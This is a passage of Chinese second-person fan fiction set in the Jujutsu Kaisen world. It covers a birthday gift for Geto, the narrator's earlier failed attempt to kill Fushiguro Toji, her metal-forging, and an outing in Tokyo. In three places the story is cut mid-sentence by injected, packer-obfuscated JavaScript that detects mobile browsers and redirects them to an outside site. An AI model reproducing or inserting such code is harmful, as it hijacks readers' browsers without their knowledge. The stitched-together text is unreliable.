他神色稍霁,本来也没认真生气。你接着补充:“下次请你吃便利店聊表感激。” “杰,你听听看,铃木疯了。” 夏油杰坐的位置恰好在你对面,五条悟旁边。这会你们都看着他。 你说:“夏油前辈,这次应该轮到站在我这边了吧?” 不,毕竟他良心未泯。 夏油杰严格贯彻“要掌握说话方式方法”方针,主打一个情绪安抚,劝告你:“铃木,最次也得是提供刺身的烧肉店档次。我觉得。” 最后,点缀上【个人建议仅供参考】标识。想必此人假以时日也能做到滴水不漏。 42.第 42 章 寒潮与落雪来时无声且冷酷,轮转离去时也难以追觅。雪水或融入地底,或升腾随天光而去,总之,在春天正式来临的一周前,你就脱掉了羽绒服。 你连早春要买什么衣服都想好了。 “所以,你在任务的时候不想进帐--就是为了看这个?” 在温泉后的半个月,你继续做和去年年底一样的事情--和前辈们出行、打杂、写报告。 只是如今,你时刻谨记自己是一名不卑不亢的后辈,而且你比五条悟矮许多。2007年的新气象,你学会了谦卑。 于是你低头俯首,高举手臂,做出祈福承恩的手势:“请把手机赐给我。” 五条悟是一个不懂得珍惜的人,你从耳畔听见的“嘭”翻盖闭合声就能断定,那可是你的手机。 他还给你的时候好歹没扔出个抛物线。 “不要再乱看电视了,星夏。也不要超前消费,单价7万以上的衣服你看看就好。” 而现在他们都叫你的名字了。 是夏油杰先起的头,然后就…… 接过宝贝的手机,你立即转身:“下次别挠我手心。”前恭后倨。 他评头论足:“你春天总不能就穿这一件衣服。” “也许我能。”大概是不行的,然而你的薪资待遇大体也能覆盖这些开销。不能你就再想办法。 他这么问你:“那杰的生日呢?”他在问你礼物。 在夏油杰出来解除帐的时候,他本人正好听见了你突如其来发表的看法:“我建议人类每十年过一次生日。为什么?因为我不过。” 在2月4日的立春到来之前的一天,你首先要准备好前辈的礼物。因此这件事情绝对该排在春季穿搭之前。 你觉得夏油杰是那种本该对你说:“没关系的不用送我礼物也可以。”的好好先生,但是这位生日将近的人实际含笑对你说的是: “那我就更期待十年一次的礼物会是什么了,星夏。毕竟是比闰年还稀缺的1/10个世纪。” 这下不得不高成本解决此事了。 “退一万步说,为什么总监部不能一个月打给我一百万呢?” 你的一句摇头感叹让情况急转直下。 夏油杰又对你露出了带有纵容意味的微笑:“你的心意才是最重要的。” 在饭桌上,你提起:“在玩开餐馆的做饭那小游戏的时候,不是经常会有那种特殊客人,他们抵达店里以后就会说出【太热了,真想吃点凉快的东西】或者【平价美食是我的最爱】之类模棱两可的话,一个个偏偏不肯点菜,让我做命题omakase,做错了他们还要生气的。” “确实,杰很难搞。” 先是一番含沙射影的解读,再然后是指名道姓的当面批评bo之后,被编排的人就坐不住了。 “你们两个,注意适可而止。” “嘁,你怎么不怪星夏,是她先说的。杰,你太偏心了!” “……你在暗示什么?” “你在想什么我就在暗示什么。” 你忙着给刚才浏览的官网邮件发预购消息,懒得加入。 真奇妙,也许有一天上门提货的事情都能免去,你能在网上完成支付,然后它们就能顺畅地经过半个东京转交到你手上。 直到,话题又到了你身上。 五条悟端着碗坐到了你旁边,在饭桌上吃到一半临时换位置也是他能做出来的事情。他眼神狐疑又窥探,语调压低:“你给杰买了什么?” 你合上屏幕,不给他看:“买了早春通勤|收腰|双排扣可机洗|加厚风衣外套。” “……不是让你不要超前消费吗?听一下前辈的意见。” 你夹了一块肉排放在白色米粒上,然后扭头回答他:“听了,所以我过了一个小时才买。你的话给我带来内心的激荡,令我艰难挣扎了【足足一小时】。” 你平淡的语气和夸张的内容形成鲜明对比。 “星夏。”五条悟对你说。 “嗯?” 他的眼睛睁的很大,猫儿一样:“我讨厌你。” 他才不讨厌你,你不理会嘴硬的年轻人,扭转脖子到再次和夏油杰对视,告诉他:“放心,夏油前辈,我已近决定好送你什么了。我觉得你会喜欢它。” 毕竟,已知你有很不错的审美品味,且你手艺精湛,蒙受铸炉的恩惠。 正如你目前的生活状态显示,在当下,你和你的前辈们--特指两位特级,有着微妙的关系。说起来就像皇帝和她的两个丞相一样,平衡身心的距离以及要保证都不太亲密……在这点上你算是很有潜力,实践如此证明。 “你要送什么。”两个月前收到了中规中矩钢笔的俊美男生端着碗逼问你。 你的答案是:“秘密。一定比你的钢笔便宜。” 然后,显然,你让他们都不开心。 “说好的心意比较重要呢,夏油前辈?”偏偏你还在事后跟在他后头,摇头晃脑:“可不能攀比。” 夏油杰也不是会为这种小事就对你生气的人,不过他还是没忍住停下脚步,告诉你他所在意的:“星夏,你至少应该让我多期待一点。这算是……社交礼仪。” 他为自己的情绪找了一个很好的理由。 接下来,你发挥了自己的平衡天赋,拉扯他的袖口后松手,你说:“成本上是这样没错,但我的工时不收钱。所以……再多期许一点也无妨。” “……” “我骗过你吗?”说出口以后你才意识到你真的做过,次数不少,于是5秒内紧急撤销:“说错了,我对你撒过显而易见的谎吗?我不会让自己说过的话轻而易举就被推翻的。你当然可以相信我,前辈。” 他原本认真看向你的表情活泼了起来,不过是无语的那种:“不是,星夏,你这样说我很难放心相信你。” 你不做自讨没趣的事情,见到他好转就放任。步调转慢,拉开两三步的距离。 在那之后,在回程的公交车上,你还听了一桩往事。其中的一个主角让你觉得有点耳熟,你忍不住多听了两句。 先是五条悟以咳嗽开始,这往往代表他有些尴尬,以及……不情愿。 “说起来,有一件事情我还没告诉你。” 如果这是一本恋爱小说,当男主这么说的时候,可能他就带回来了一个新的女人,而她还在怀孕。孩子的身份毕竟要在一切来得及的时候平稳定好。 五条不是故意的,但他犹疑遮掩的态度和不决的谈吐,不仅勾起了夏油杰的好奇,连你也顺耳听了些进去。 你唯一猜测准确的地方是,确实有一个孩子。 不过那个小男孩已经脱离母体一些年,而母亲已经过世。 他是这么说的:“【那个男人】的孩子,我调查过,母亲在孩子襁褓时就去世了,现在,他的现任妻子也失踪了。” “经过一番追踪,显然,那不是咒灵引起的普通人神隐。” “如果那个女人的护照信息无误,她现在应该在美国。” 夏油杰从听见传说中的【那个男人】以后就没再吭声,只有五条悟还在零零散散补充着信息,絮絮叨叨。 “他有个差不多大的义理姐姐--要不怎么说禅院甚尔会结婚呢,世界上不靠谱的父母都给孩子碰上了,还是一家。即便是我也觉得事情稍微有些糟糕。” “本来也不大的家里现在只剩两个4、5岁的小孩。就算有钱也难以维持。” 禅院,甚尔? 你靠在椅背上继续听。 直到……“星夏,偷听这么久,你怎么看?” 他也不介意你听这些,还问你:“对了,你听明白了吗?” 你也没纠结五条是怎么捉住你的,对这桩不幸的往事也不评价。 听的差不多理解,只不过你还有一个疑问。你回过头:“所以,你说的这个禅院甚尔,他怎么会有一个叫伏黑惠的小孩呢?” 答案很简单:“他赘了。伏黑是伏黑女士的姓氏。” “所以,甚至是他本人也改名作【伏黑甚尔】了,是吗?” 他嗤之以鼻:“这不是当然的事情!你的关注点能不能放到正确的地方。” 不,实际上,这件事情很重要。你起身调转方向,面朝情绪晦暗不明的夏油和对你皱眉头的五条。 你觉得事情麻烦起来,而重点就在于:“你说的这个伏黑甚尔,我对他有印象。” 五条悟看起来惊讶极了,不难分析出他的表情中还有些晦气:“嗯?怎么会?”你推断他们有点过节。但这又很难解释他还惦记对方的儿子…… 夏油杰眉头紧锁,额间出现一条明显的皱纹,里头流淌一段痛苦的往事:“……”你不知道那是什么。 你已经听了够多,现在,该是你分享故事的时候了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【第二次,还是夏季,东京厌倦了潮湿,只是燥热。在一个你们都能认得清路的巷子里,他跟踪你,然后突然跑出来说话。吓了你一跳。】 “那时候我在做一些不好的事情。”你简单解释,“无论如何还是不希望被别人撞见呢。两个人就是你知我知,第三人撞破就不妙了。他很恶劣,是在最后跳出来的。” “……你做了什么?”五条悟语气危险。 “这个,前辈你听说过一个词叫做既往不咎么。”你把话题主动再带到伏黑甚尔此人头上:“我很少对见过几次面的人印象深刻,尤其那段时间我的脑袋还不太清醒。但是--” 想起那件事情还是让你警惕,你在这座行驶的巴士中,忽然意识到冬天还没过去。 你接着讲:“他像乌鸦,或者秃鹫。人类在做事的时候难免有疏忽,见不到翔于高天或停在背后很远的鸟类。那是我第一次被背后突然响起的声音惊到。太近了,好像地面开了一道口,他就从无有的地方凭空出现,像高空在陆地生物视野盲区猎食的鸟类一样。” “他应该去做个杀手,总之,不应该和我碰见。” 你注意到五条悟的表情凝重起来,夏油杰也似乎想起了不愉快的回忆。 …… “然后呢?”提问的是夏油杰:“然后怎么了,星夏?” 你于是从思考他们怪异反应的念想中醒悟过来,重新回到那个神秘的男人:“前辈们都知道,我身上有带刀的习惯。” 你捂住胸口,再往下几寸,外套的内口袋里,就是你从很久以前就有的傍身之物。 “也是有感情了。”你感慨,然后目光看向夏油杰放在腿上握紧的手,你说:“我考虑过灭口,但他说了一些话……说到这里就不只是考虑了--他跑的很快。” 事实上,你刀刃只划过他的手指,而且没破。 信息提供的已经很多了,你问出了一个至关重要的问题:“问下,他是咒术师之类的吗?” 是的话可就危险了。 如你所见,他身手十分好,动作也敏捷,想来也许身份不低,最重要的是……他看见了不该看见的东西,并且选择跑出来多嘴。你不讨厌做基层咒术师的生活,难免有依恋,可那个名字被提起,让你有了被揭穿的风险。 五条悟表情无悲无喜:“真遗憾,他不是。而且死了。”他不是在报丧,也不为此快乐,只是在向你阐述一个事实。 你瞧了他一眼,静物画一样的面容尽收眼底,然后你坐了回去,膝盖也不疼,心也不紧张。你的微笑被玻璃捕捉,但大约没人看见:“真好,很高兴听见这个消息。” 先前那些事情,飞蛾飞旋没入火焰,留下的只有灰烬。你无需再担心。 又过了一会,五条悟从那种深邃的状态里出来,他品出了一点不对劲:“不对,你还没说完。铃木星夏,你不应该说明白些吗?” 43.第 43 章 因为一个死掉的人他就叫了你全名,这事还从没发生过。 你问:“具体是哪方面呢?” “……你还想挑拣着说?!” 这些日子你变了不少,更愿意听人说话,更包容,不过还有一些坏习惯没改掉。当你决心敷衍一件事情的时候,你会让所有人都见到你的不动容。 哪怕前后差别只在一个小小的转折点。 你说:“那天我杀了个人。被他发现了。灭口失败,他跑太快。第三次我在店里吃饭,突然他就坐我对面,和我探讨起了赛艇的胜负。” “人很多,我不方便动手。又被他跑掉了。” 毫无技巧,全是干货。可惜现在听见它的人一点也不懂得辨别,而以为你在发疯。 他首先质疑了你的实力:“你这样的就别说想杀他了吧。” “……”是,无可置疑的是你确实失败了,你甚至不对自己有所辩驳。不过他讲话也太不中听了。 你压抑住意图倾诉的口舌,最后吐露的字眼是:“人死了就结束了,对他我已经没什么话好说。但我很高兴你告诉我这些。虽然不知道怎么一回事,但看起来伏黑甚尔死了对我们都好。” 这就够了。 你还记得这个男人更多的事情。 首先,他的特别之处你在头一次见面时就领悟。他身上有种乖张的颓废感。 进可一念之间做出令人惊讶不已的举动,比如你看着他很像那种能随手对路边不认识的人实施手起刀落的类型,不过他应该不会那么做:制约他的不是社会道德,是他眼中根本没有人;退可默默无闻就在街巷里流连过完一生。 伏黑甚尔没对你看起来年纪轻轻就出来养活自己表示惊讶,你们的见面就是一个满不在乎的人遇到另一个满不在乎的人。 直到第二次。你没对两位前辈说谎,他确实惊讶到了你。 你欣赏月光下刀刃的蓝白反光,这颜色寒冷,只是面向的不是你,而是目标敌人。沙地出现又消失,你面朝蜘蛛之门。 他突然就跳出来,好像你们很熟一样:“真是惊人。” 你当即反手挥刀,却只缭到他指尖和手心,还连一处伤口都没有。嘴角有疤的男人都没多留心手持危险物品的你,他只是定下目光投向你身后的某个地方。 你知道,那处方才有流沙,有簌簌吞噬的声音,还有……一具曾经活在世界上的尸体。 现在什么也没有,什么都没留下。 你还记得自己对他说了什么:“譬如朝露。”消散时也无影无踪。 他就像和你在超市里卖蔬菜的地方偶遇一样讨论,话题差不多类似于哪个菜更新鲜,轻松日常:“哦,他看起来确实没有活很久。” 你们又随口说了些什么,内容无关紧要。唇舌吐出的话语不过是消磨。 正因为他隐匿能力惊人,可以自由出入城市的各个地方,你才不明白,他今晚特意跳出来是为了什么--他本可以安然无恙地路过。 不过你不好奇,也懒得探究。想明白的事情也容易忘,不如以死亡做一个结束。 小刀在你手上翻转两圈:“不必担心,逝去的生命里大多也只是苦痛。”你往他在月亮下的影子里走去。 他没安息,他逃走了。 跳上垂直地面的墙--这事情很难,但他毫不费力。最后,在垃圾桶上方的某个空调外机上,低沉的声音隐没在轰隆隆的声音中,但你能听见:“真是暴躁的女人。我叫伏黑甚尔,再见。” 最后一次,在空调都舍不得开的店里。你见识到了他的坏运气。 你记得他下了很多注,然后接了个电话,最后下注的船全被超了。 “会一分不少地回来的。” 但是输光了。 你能听见他和他打电话那人的声音。“我这有人呢。” 然后对面说些什么“女人,妻子,孩子之类之类的。” 他们说了什么手续费,3000万。伏黑甚尔看着你的表情,你忘记你那时候是什么心态了,但应该很无语。 他们说的数额也不是什么小钱,你猜测这个人在策划诈骗,或者绑架,又或者兼有。 他的表情笃定而算计,但眼前的赛艇输了以后倒又是另一幅光景。 你不搭理他,他却很烦。旧事重提。 “你胜率这么高,为什么还要做那种事?真是个沉闷的女人。” 你的态度很坚定,冲他微笑,直视他的眼睛:“这里人多,要不我们找个人少的地方聊聊?” 在一阵恍然后,他拒绝了你:“我结婚了,你是……?”他抵御了你随口抛过去的杯之诱惑,这时候运气倒不差了。 一次不成你就收手。 对了,最后他被一个男人找上门,他走的时候没付钱……穿的还是拖鞋……那个男人倒是西装革履,他叫孔时雨。 回忆结束,你的前辈扒拉到你旁边空位的靠背上,让你以后别乱拿杀人放火这种事情开玩笑:“星夏,你是咒术师。” “怎么了?如果我有机会,我会对他动手的。”你在回忆中又领略了一番对方的不讨喜:“我以前很少给人花钱,但是那天店家硬说我们两在说话,我必定认识他,让我付钱。” “……” 最后他得出结论:“人渣。” 即便五条悟也很少说这种话,不过你点了点头:“是的。” 虽然你一点也不好奇,但五条悟最终还是在车上和你说了事情的大体经过,他坐在了你旁边,你头一次听见他像讲述一段往事那样,不怀念也不悲伤,只是旁白地叙述: 金盆洗手的术士杀手在沉寂一段时间后接到了老朋友的邀请,他接下了一单任务,目标是抹杀星浆体。彼时的五条悟还是一级咒术师,夏油也一样,对上以后-- “一场艰难但是最后压倒性的胜利。” 他既然说了艰难,那应当确实如此。你认为一个把最强挂在嘴上的人不会轻易承认别人的能力。 夏油杰坐在你们后头不吭声。 你问:“只是这样的话,说起来你们的任务不是一件事吗?” 这个问题让你的脑袋遭了殃,当五条悟的指甲弹到你额头,疼痛不必言说:“你蠢啊,他们的委托方是盘星教。” 你一下就变得面无表情:“我们没那么熟,前辈。” “……”过了一会,他戳戳你的肩膀,试探性问你:“弄疼你了?” 窗外的景色已经变得郁郁葱葱,城市的面貌转移为山野。就在距离目的地不远的风景中,你对着阳光和树林闭上眼睛。 下车的时候,把你惹到的高挑前辈先是揽着你的肩膀,但不把重量压在你身上,然后脸凑过来侧着看你:“真生气了?如果我和你道歉你会好受吗?” “哦,那你要道歉咯?” “只是说说而已,我才不呢。星夏,你不要乱说自己不了解的事情。”前半句是玩笑,后半句是劝告。 你依旧懒得搭理他。 伏黑甚尔,这个人都死了,还能使绊子。 当晚,你在高专里随便捡拾了几颗石子,用炉火为它们塑形,运用你的知识让它们得以发展出钢铁的性质,使得你有了錾刻的新工具。你上网搜过,气动雕刻的工具实在是太昂贵,设备费用你不愿意负担。 一整晚,房内的铸炉之火都没熄灭。 下一次去往城里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13769983|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个没任务的白天,你去新宿的饰品店里以低价购置了一块小银条,还搭上了一个小小金珠手串--款式是最简单的,即便如此还是付上了1g工费。 也许,合法合规的事情做久了,就自然形成得与失的对照,你开始计较性价比。目光在店内游移,产品要么昂贵要么无用,最后,你的视线定格在店主失神微笑的脸后,在柜台内侧的一方狭小工作台。 那里放置的工具半个月都不见得用一次,装饰性大于实际…… 当日的高专内,傍晚,硝子捕捉到了手握锤砧的你。 “你准备换咒具了?这是要玩什么,榔头吗?” 你还认真回应了:“可以把咒灵做成正方体,用小袋子装好,然后给夏油前辈带在路上吃。” “看上去威力大于你的刀,不过后面的部分就算了。我不觉得夏油爱吃那个。别拿这个对他开玩笑,星夏。” 春天要来的时候,复苏的不只是大地。 你知道硝子在说什么。 离别时,你向她说明了实际用途:“不是咒具,我和刀都很好。这个啊,我打算最近几天做点铁和火的手工艺品,聊表心意。” 硝子幽幽对你说:“确实听五条说你要手工礼物,我以为会是更--毛线或者折纸的,或者针与棉花。” “炼金术启蒙了我。改变随火焰而来。”你轻松抡了几下锤子:“不过说到咒具,或许我也能够把咒力附着上,说不定有起效。谢谢你的启发。” 她缓慢挪动脚尖,告知不幸的消息:“我还是不够了解你,和五条赌了50,我押了围巾。因为春天快到了。” 可不能让前辈亏钱,你于是多跑了几步路,陪她到售货机,递上一杯果汁饮料平账。 今天,你身上有硬币。 “不过这和春天有什么关系,硝子前辈?” “我以为你会送夏油用不上的东西。说起来就算在冬天他也不用围巾,年轻真好啊~如果星夏你做围巾给我我一定会用的。” 你被法术攻击,难免抱怨:“硝子前辈,你一下子说出了很冰冷的话。” 她只喝饮料不吭声。 最后,你从她那晓得,这次她准备蛋糕,五条悟不得不考虑自己要送什么礼物。 “其实你送点手工艺品也不错。”硝子还见到了你一起带回来的金石银块,“虽然不知道你会做成什么样,但是……” “前辈,现在你露出了很冰冷的表情。”这副【有人垫底了】的快乐表情令你哭也不是笑也不是,你有一半认真地告诉她:“我是未来要成为炼金大师的人。” 晚间,炉火又亮了一整夜。 火焰熊熊燃烧,在密闭的房间里,无人知晓,你在实施一场猛烈的改造。每一次改变都是一次解放,无人倾听,房内火光大盛时伴随而出的每一次锤与砧的巨响。 【破坏一样东西,你就能得到片段。破坏那些片段,你就能得到尘埃。破坏尘埃,然后再破坏它的残余。就这样,你得到了火。】 在火光中,无物还能保持不变,煅烧的启迪融入炉火,也在你眼中欢腾闪烁。 贵重金属由固体到金红色发着惨淡光辉的液体,它们在你手心沸腾,金红色的光线直到黎明才黯淡。 如果说炼金术抛开【价值提升】的那部分本质,剩下的也只有形态与物质的变换。 早上,你准时拉开窗帘,见证又一次日升。你将玻璃瓶中冷却后仍然泛着高贵华彩的液体对准熔炉一样的日光,它折射出血的颜色。 血的颜色固然红艳,但那也比不过你双颊因激动而泛起的狂热更耀眼。你确实有些冶金的天赋。 如今,已不能说你只是初探门扉。 44.第 44 章 如今,寻常的热力已灼烧不到你,你也少了许多对寒冷的畏怯。在未来的一些天里,夜间的明亮单人时光已经超越了你前往漫宿的长远梦乡。 有的时候你关注着之前承诺夏油杰的礼物,有时你沉浸于其他事情。 金、银、汞,炼金术的根基,现在你对金属们有了更深的了解。 在2月的第一天,你终于熄灭了燃烧了持续近半月的烈火,而在烧焦的余烬中,你拾起了一块通体深色的金属,出门右转的水池里,你洗净了其上的碳灰和焦油,露出深黑色的光洁表面。 它有钥匙的形状。 古朴,小巧,在阳光下是深紫色。 次日,你在其上镶嵌了一些源自漫宿因此成本为0的闪亮小石头,又为它雕刻上一些无意义的花纹,仅仅只是为了美观。坚固无匹的合金在你手中乖巧如面团,任你塑造其形。 在最后一次抛光后,它能在月光下反射出钴蓝的辉光。 于光中,你想到一个问题。 你并未给看起来贵重的小装饰一个能配得上它的包装。 2月3日,你在中午吃饭的时候溜了出去,跑到买卖小物件的礼品店里购买了一个还算可以的礼品盒与袋。 你出门打算找个角落临时组装时,偶遇了出门的五条悟。 你对他打招呼:“真难相信,盒子和袋子竟然分开来收费。” 幸好现在你有随身带现金的习惯。 “你是手工失败随便买点东西凑数,结果才发现包装很烂所以临时出来买吗?”他说这句话的时候,看起来格外幸灾乐祸。 五条悟的眼睛里有期待。 他也挺会想的。 你从口袋里先取出自己的刀,如今刀柄上有了宝石和黄金点缀,在那之后,你在同一个口袋中翻找出已经被体温捂暖的钥匙。 闪烁着光的饰品静静在你摊开的掌心。 匠人总会对自己的作品骄傲,你也一样。你以为,即便是曾经皇室使用的珍品,镶嵌上古国无与伦比的遗珠,珍贵的各类金属,也换不来你铸造的装饰物。 因此语调即便含蓄也不免显露出一丝得意:“好看吗?我做的。” 他在你把东西草率地安置进新购买的外包装以后,才勉强对你评价:“不可能,你从来没做过这些。” 这是夸奖,所以你对他扬了扬手里的礼品袋,对他说:“多谢。” “……我怎么就没有?” “今年新学的。”五条的生日虽然只在两个月前,但那也是去年的事情了:“托硝子前辈的福,我发现咒力比锤子好用。” 五条悟心情大约是不好,嘴巴也厉害起来:“也是,虽然你很弱,但是你细致啊。” “是是是,最强。”你头也没回地敷衍。 大概中间过去了几十秒,他的声音突然在你右边响起,活泼而庄严,像小孩子讨要玩具一样:“我也要。” 你用起了刚才那套句式:“虽然我很弱,但我可以拒绝你哇。” “你居然记仇!” “难道这不是两分钟内新鲜热乎的事吗?”你的记性已经大好了,就算仍然糟糕,也不见得会忘掉他刚说过的话:“你看,你生日的时候夏油前辈可没有像现在这样自由发挥。现在,在大家用餐的时候,你就这样跟着我出来了,好像我们有什么秘密一样。” “……”五条的视线过于灼热,似乎你说了惹怒他的话。不过确实,你对他使出了友情无敌这一招,而他的挚友-嗯,疑似也对你有些兴趣。 “你很过分。”他丢下一句话,就高傲的迈开腿一个人走到前头去了。 有五条悟为你开道,在重回餐厅时自动门还没合上,但你们的距离随着他的脚步拉开。在他不情愿搭理你的时候,疏离感与距离就又和他高高的背影一样浅显易见了。 等你回到隔间,发现他已经在夏油杰身旁坐下。 “铃木,你怎么才回来,我刚才还以为五条前辈去找你了,结果你现在才回来。比前辈慢好多!”如果说在场还有谁没意识到你在与前辈的人际关系上较之前有了变化,那就只能是灰原。 现在,他自曝了这点。 一脸纯良,实际心思也少有的少年如今已罕见,你摸了摸他光滑的黑头发,对大家说:“家里孩子不是很聪明,大家见谅。” 然后你解释:“给礼物装个袋,否则太草率了。一点手工制品,夏油前辈生日快乐。” 小巧的袋子被你托起,里头装着同样小巧的盒子,它现在连同你的手心一起递到它未来主人的面前,供他拿取。 夏油杰坐在两个同期之间,先抬头看了看你,你正对他微笑,又低头看了你的礼物--不出意外这是今日最迟的一份。先前,在见面的时候,他们就早早地都拿出了东西。 在他用手指勾住礼品袋的绳子时,你小声说:“我觉得你会喜欢它的,我做得很好看。”他的手因为你的话而轻颤。 最后低低地嗯了一声。 今天的行程在餐后就到此为止,因为下午还有任务安排。被指明的人除了要回医务室报道的硝子还有五条悟--过生日的这位被夜蛾老师很好心地剔除出去。 灰原意犹未尽:“啊,也是,快到咒灵增生的时节了。还是要以任务为重。下午我和七海也要去千叶见习,如果有时间傍晚我想去看看清水溪!” “任务结束赶紧回高专。”七海拎了拎同期的衣领,让他少活跃些。转而问你:“铃木,你要去什么地方?” 说到见习,从去年你就一直在二年级的学生后头转悠,而现在,他们兵分三路,高专的安排无意略过了你。 “对哦铃木你下午没事,要不要跟我们一起?” 你刻意忽视了灰原的邀请,意图选择最优越的路径。 你说:“和硝子前辈的车一起回高专,然后在房间里睡觉。” 这不是故意偷懒,而是事实如此--你前段时间休息很少。如今成品出炉,冶金技术也有了显著提升,你对控火的技法以及金属的理解更上一层楼。 是时候休整一番。 但说出来确实显得你懒散。一出口便被批判:“太过分了,你都好久没有和我们一起出任务了铃木!五年同窗情在哪里?” 五条悟也指责你:“偷懒的家伙。” 太早了,离正经的五年还有四年半呢。你想这么吐槽灰原,不过硝子在你准备开口前就建议:“正好夏油下午也没事情。我的意思是不如你们在城里逛一逛?” …… 这提议来得突然而且没什么缘由,并且第一时间遭到了【勤快的五条悟】的反对:“太懒散了,还不如让她跟在我后面锻炼。” “你确定那是锻炼吗?五条。” 给了你很多锻炼机会(其实没有)的前辈振振有词:“怎么不算呢!” 灰原脑袋耷拉下来,嘴巴里念念:“没人听我的意见吗?” 他有一颗圆溜溜的脑袋,还有一个圆溜溜的发型,你见着他西瓜一样的后脑勺就想伸手去拍一拍,你也确实这么做了。你告诉灰原:“下次一定。” 现下的情况如此,但所有人中,只有同样闲来无事的夏油杰征询了你的意见:“星夏,你觉得--我是说,你想出去逛一逛吗?” 于是这一刻,其他的人都成了背景音。 你考虑了一下他的建议:“你有什么地方推荐呢?” ---- 接下来的事情顺理成章,除了一个小插曲。 今天夏油杰生日,而且他又是一年级的你们的前辈,因此两种反对的声音最后都是针对你。 五条悟没把你怎么样,但你能想象他大约也愿意严刑拷问你:“为什么不跟我去任务?” 答案很简单:“你没问我,夏油前辈问了。” “不问你就不答?”他在倒吸一口气以后就一直憋着它,看张大的眼睛和皱缩的面中,五条悟应该想起了不太美好的事情。最后五条悟背过身子,你能见到他因低头而露出的一截苍白后颈,他的声音冷静如燧石:“差点忘了,你是要主动交互的NPC。” 讽刺意味连灰原都能听出来。 生气的前辈朝幸运的挚友招了招手:“走了,杰,生日快乐。”任性地没和硝子说话。 紧接着来的是同样邀请了你的灰原,他坐着眼睛往上看的样子认真而可爱:“铃木,那我呢?我可是认真邀请了你两次!” 这个好说:“单纯因为不爱任务。五条前辈毕竟是我的领导,如果他开口我就不好拒绝了。但是你……” 灰原:“铃木,你变了!你以前可积极了。” “最近有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“根据吉兆带回家,凶笺树上挂的原则,全日本最凶的地方就在这市中心了。”你主动挽住他的胳膊,阻拦守序少年准备按习俗来的行动:“前辈,你是咒术师,应该更相信科学才对。” 他被你逗笑,低眉看你:“咒灵都存在了,还科学吗?” “在电力被命名之前,大地就开始雷鸣。只不过以前的人认为轰鸣源自神明的怨忿与降罚。”你举了一个小例子证明观点:“现在的我们能使用咒力,性质或许也和远古巫祝大抵相同呢?现在我们管他们叫做封建迷信了。” 夏油杰哑然失笑:“你是无神论者?我以为你有信仰。” “有的,不过就和高专和总监部一样,他们管用我才信他们。”说起你的实用主义,你从不害臊。 对夏油杰伸出手,你等待他主动把东西交付给你:“所以交给我吧,我知道它们应该怎样处置。” 这一次,他没有迟疑,把两张折在一起的签文交给你。 比上次好不少,也算一种新年新气象。 你没松开拉扯他腕部的手,带着他从人潮汹汹的地方一路走到商业街最边缘的一颗古树旁,这里不复摩肩接踵,冷清许多。 接下来的片刻之内,你向他展示了一个事业有成且未来可期的旅客会如何厚待自己的命运。 --在流溢虹彩的火光中,刻有你和他的凶兆的签文连灰烬也没有剩下,你还用指尖的火焰去烫他袖口,然后息止流炎,轻握住他的手。 这就是你的态度:“不幸的灾厄被我放火烧掉了,现在我们再去抽两个大吉。” “……还可以这样的吗?” “你不是说你带了硬币?只要100圆够,当然可以。除非你想光抽不付钱。” “倒也没有那样。”夏油杰可以说年少老成,但他终究还是少年人。现在,他的眼睛里多了纵容和更细腻的某样东西,你认为他期待你再多说些什么。 森林里的狼之类的生物受到那样特异清辉的影响,会对着月亮嚎叫,你也没忍住,低头凝眸泥土和上头覆盖的青苔以及绿芽,对他说了一句话:“也未必完全是那种原因,我是说信仰,如果有那么仁爱的神明,那我以前的生活,我看到的苦难又是什么呢?” 45.第 45 章 你们没再去抽签,理由很简单,万一再抽两个凶就不好说了。 夏油杰是这么跟你科普的,他讲话时嘴唇嚅动,睫毛轻颤:“以前我们几乎没有浅草寺的任务,所以我想你说的对,苦难的人很少到这里来。” 那么他们会在哪呢? 这个问题总归不该你们,也不该今天思考。 接下来的地点是你选的,三公里外的秋叶原,你拉着正在开心过生日的人逛街。主要,还是买你的东西。 你不是个好的陪伴者,你也知道这点,说不定是点菜会不客气的只点自己喜欢菜肴的那种。两件衣衫后,钱包震动,余额腰斩。 接着你们开始进行小额消费。 你抽了两个扭蛋,自愿赠与他一个。 “我不看这个漫画,单纯对过程感兴趣。” 说是这么说,在看到第不知道多少台扭蛋机后你又走不动路了,你停下,问他:“我们能再扭两个吗?忘了说我身上没钱了。” “……”夏油杰请你看被他拎在手里的服装袋子,你照做,发现已经瞧不见衣服的痕迹,而袋口大开--一眼望去全是扭蛋。他亮明观点:“你不应该再买了。” “嗯,好吧。”你回头最后看了一眼。 夏油杰的下一句话转移了你的注意:“时间不早了,我请你吃点东西,你想吃什么?” 这个问题几乎不需要思考:“蛋包饭和被切开花的章鱼香肠,我要喝苹果汁。”你没吃过那个。 他这么说:“你口味和悟挺像。” 几乎话出口后他就后悔了,你看的出来。 “那挺好,如果好吃下次喊他一起。”夏油难掩懊恼的表情令你心头愉悦,你调侃逗他:“怎么,你不想吗?” “星夏,别这样。”他面容温和。 夏油杰牵起你的手时,你也没拉开。 在吃饭的时候,他又和你旧事重提:“关于悟之前说的那个事情……你怎么看?” 你希望他不要遮遮掩掩,更明白些:“五条前辈说了很多,具体是什么事?” “啊,抱歉。我是说,有关伏黑-伏黑甚尔的。他的孩子。” “他啊……为什么五条前辈会突然关心那个小孩,我倒是觉得这部分比较奇怪。” 说起伏黑甚尔的时候,夏油杰面色仍有波动:“据说因为伏黑甚尔死之前拜托了他。” “嗯,哦?他看着他死的?” 